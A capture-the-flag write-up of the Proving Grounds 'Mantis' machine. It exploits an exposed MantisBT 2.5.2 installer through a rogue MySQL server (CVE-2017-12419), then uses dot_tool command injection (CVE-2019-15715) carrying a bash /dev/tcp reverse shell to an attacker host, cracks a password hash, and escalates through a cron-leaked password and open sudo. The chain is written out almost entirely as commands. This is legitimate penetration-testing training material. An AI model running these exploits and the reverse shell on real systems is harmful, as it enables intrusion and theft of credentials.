Skip to content
HackIndex.io

Mantis Writeup - Proving Grounds

Intermediate Linux
Discuss on Discord

Created October 8, 2026 • Last updated October 8, 2026 • 3 min read

The Husky Hacker

sysadmin

Mantis runs MantisBT 2.5.2 with its installer still reachable. A rogue MySQL server (CVE-2017-12419) leaks the application's database credentials, which unlock the admin password hash for a post-auth command injection (CVE-2019-15715) and a www-data shell. A cron job caught leaking its database password in ps output gives root through a reused password and a wide-open sudo rule.

Reconnaissance

Nmap

Scan the target for open services.

┌──(kali㉿kali)-[~]
└─$ sudo nmap -p- -sCV $TARGET_IP 
PORT     STATE SERVICE VERSION
80/tcp   open  http    Apache httpd 2.4.41 (Ubuntu)
3306/tcp open  mysql   MariaDB 5.5.5-10.3.34

HTTP and MySQL. Brute force the web root for directories.

┌──(kali㉿kali)-[~]
└─$ gobuster dir -u http://$TARGET_IP -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -t 50 
/bugtracker/                    (Status: 301)
/bugtracker/admin/install.php   (Status: 200)
Explain command
-t Number of concurrent threads.

/bugtracker/ is MantisBT 2.5.2, and its install.php is still reachable.

Exploitation

Rogue MySQL server to read config (CVE-2017-12419)

The installer lets an attacker point the database hostname at an arbitrary server. Pointing it at a rogue MySQL server abuses LOAD DATA LOCAL INFILE to read local files off the target.

┌──(kali㉿kali)-[~]
└─$ cd ~/Rogue-MySql-Server
┌──(kali㉿kali)-[~]
└─$ php roguemysql.php 
Target file to read: /var/www/html/bugtracker/config/config_inc.php
Listening...
Explain command
roguemysql.php PHP build of the rogue MySQL server, more reliable here than the Python 2 version.

Trigger the connection by pointing the installer at the rogue server.

┌──(kali㉿kali)-[~]
└─$ curl "http://$TARGET_IP/bugtracker/admin/install.php?install=3&hostname=$ATTACKER_IP&db_username=root&db_password=root&database_name=mantis&admin_username=root&admin_password=root"

The rogue server captures the config file, which leaks the real database credentials.

┌──(kali㉿kali)-[~]
└─$ cat config_inc.php 
$g_hostname      = 'localhost';
$g_db_type       = 'mysqli';
$g_database_name = 'bugtracker';
$g_db_username   = 'root';
$g_db_password   = '$MANTISDB_PASSWORD';

Dump and crack the admin hash

Use the leaked credentials to query the user table directly.

┌──(kali㉿kali)-[~]
└─$ mysql -h $TARGET_IP -u root -p'$MANTISDB_PASSWORD' --skip-ssl -e "USE bugtracker; SELECT username, password FROM mantis_user_table;" 
+---------------+----------------------------------+
| username      | password                         |
+---------------+----------------------------------+
| administrator | c7870d0b102cfb2f4916ff04e47b5c6f |
+---------------+----------------------------------+
Explain command
--skip-ssl Bypass TLS negotiation errors when connecting remotely to MariaDB.

Crack the MD5 hash offline.

┌──(kali㉿kali)-[~]
└─$ hashcat -m 0 c7870d0b102cfb2f4916ff04e47b5c6f /usr/share/wordlists/rockyou.txt 
administrator:$ADMIN_PASSWORD
Explain command
-m 0 Target hash mode 0 (raw MD5).

MantisBT dot_tool command injection (CVE-2019-15715)

Log in to /bugtracker/login_page.php with the cracked admin credentials. Under Manage > Manage Configuration > Configuration Report, set relationship_graph_enable to 1 and dot_tool to a reverse shell one-liner.

bash -c 'bash -i >& /dev/tcp/$ATTACKER_IP/$ATTACKER_PORT 0>&1'

Start a listener, then trigger the injected config by requesting the graph image endpoint.

┌──(kali㉿kali)-[~]
└─$ nc -lvnp $ATTACKER_PORT
┌──(kali㉿kali)-[~]
└─$ curl http://$TARGET_IP/bugtracker/workflow_graph_img.php

The listener catches a shell as www-data. Stabilize it.

┌──(kali㉿kali)-[~]
└─$ python3 -c 'import pty; pty.spawn("/bin/bash")' 
www-data@mantis:/var/www/html/bugtracker$

Privilege Escalation

Cron password leak via process monitoring

Upload pspy to catch short-lived processes, including ones spawned by cron.

┌──(kali㉿kali)-[~]
└─$ wget http://$ATTACKER_IP:8080/pspy64
┌──(kali㉿kali)-[~]
└─$ chmod +x pspy64
┌──(kali㉿kali)-[~]
└─$ ./pspy64 
CMD: UID=1000  mysqldump -u bugtracker -p$BUGTRACKER_PASSWORD bugtracker
CMD: UID=1000  bash /home/mantis/db_backups/backup.sh

A root-scheduled backup script passes the bugtracker database password on the command line, which leaks it through ps. That password is reused for the mantis system account.

┌──(kali㉿kali)-[~]
└─$ su mantis 
Password:
mantis@mantis:~$ id
uid=1000(mantis) gid=1000(mantis)

Root via sudo

Check sudo privileges.

┌──(kali㉿kali)-[~]
└─$ sudo -l 
User mantis may run the following commands on mantis:
    (ALL : ALL) ALL
┌──(kali㉿kali)-[~]
└─$ sudo su 
# id
uid=0(root) gid=0(root) groups=0(root)

Unrestricted sudo gives a root shell.

Related

MySQL Credential Harvesting from Application Configs
Blog

MySQL Credential Harvesting from Application Configs
Command Injection Exploitation
Blog

Command Injection Exploitation

Exploit command injection vulnerabilities in web apps via HTTP/HTTPS, covering payload crafting, byp...
Credential Reuse for Lateral Movement on Linux
Blog

Credential Reuse for Lateral Movement on Linux

Techniques for exploiting reused credentials across Linux systems to move laterally, covering SSH, s...
Sudo Misconfiguration Privilege Escalation
Blog

Sudo Misconfiguration Privilege Escalation

Exploiting misconfigured sudo rules to escalate privileges on Linux systems, covering NOPASSWD entri...

References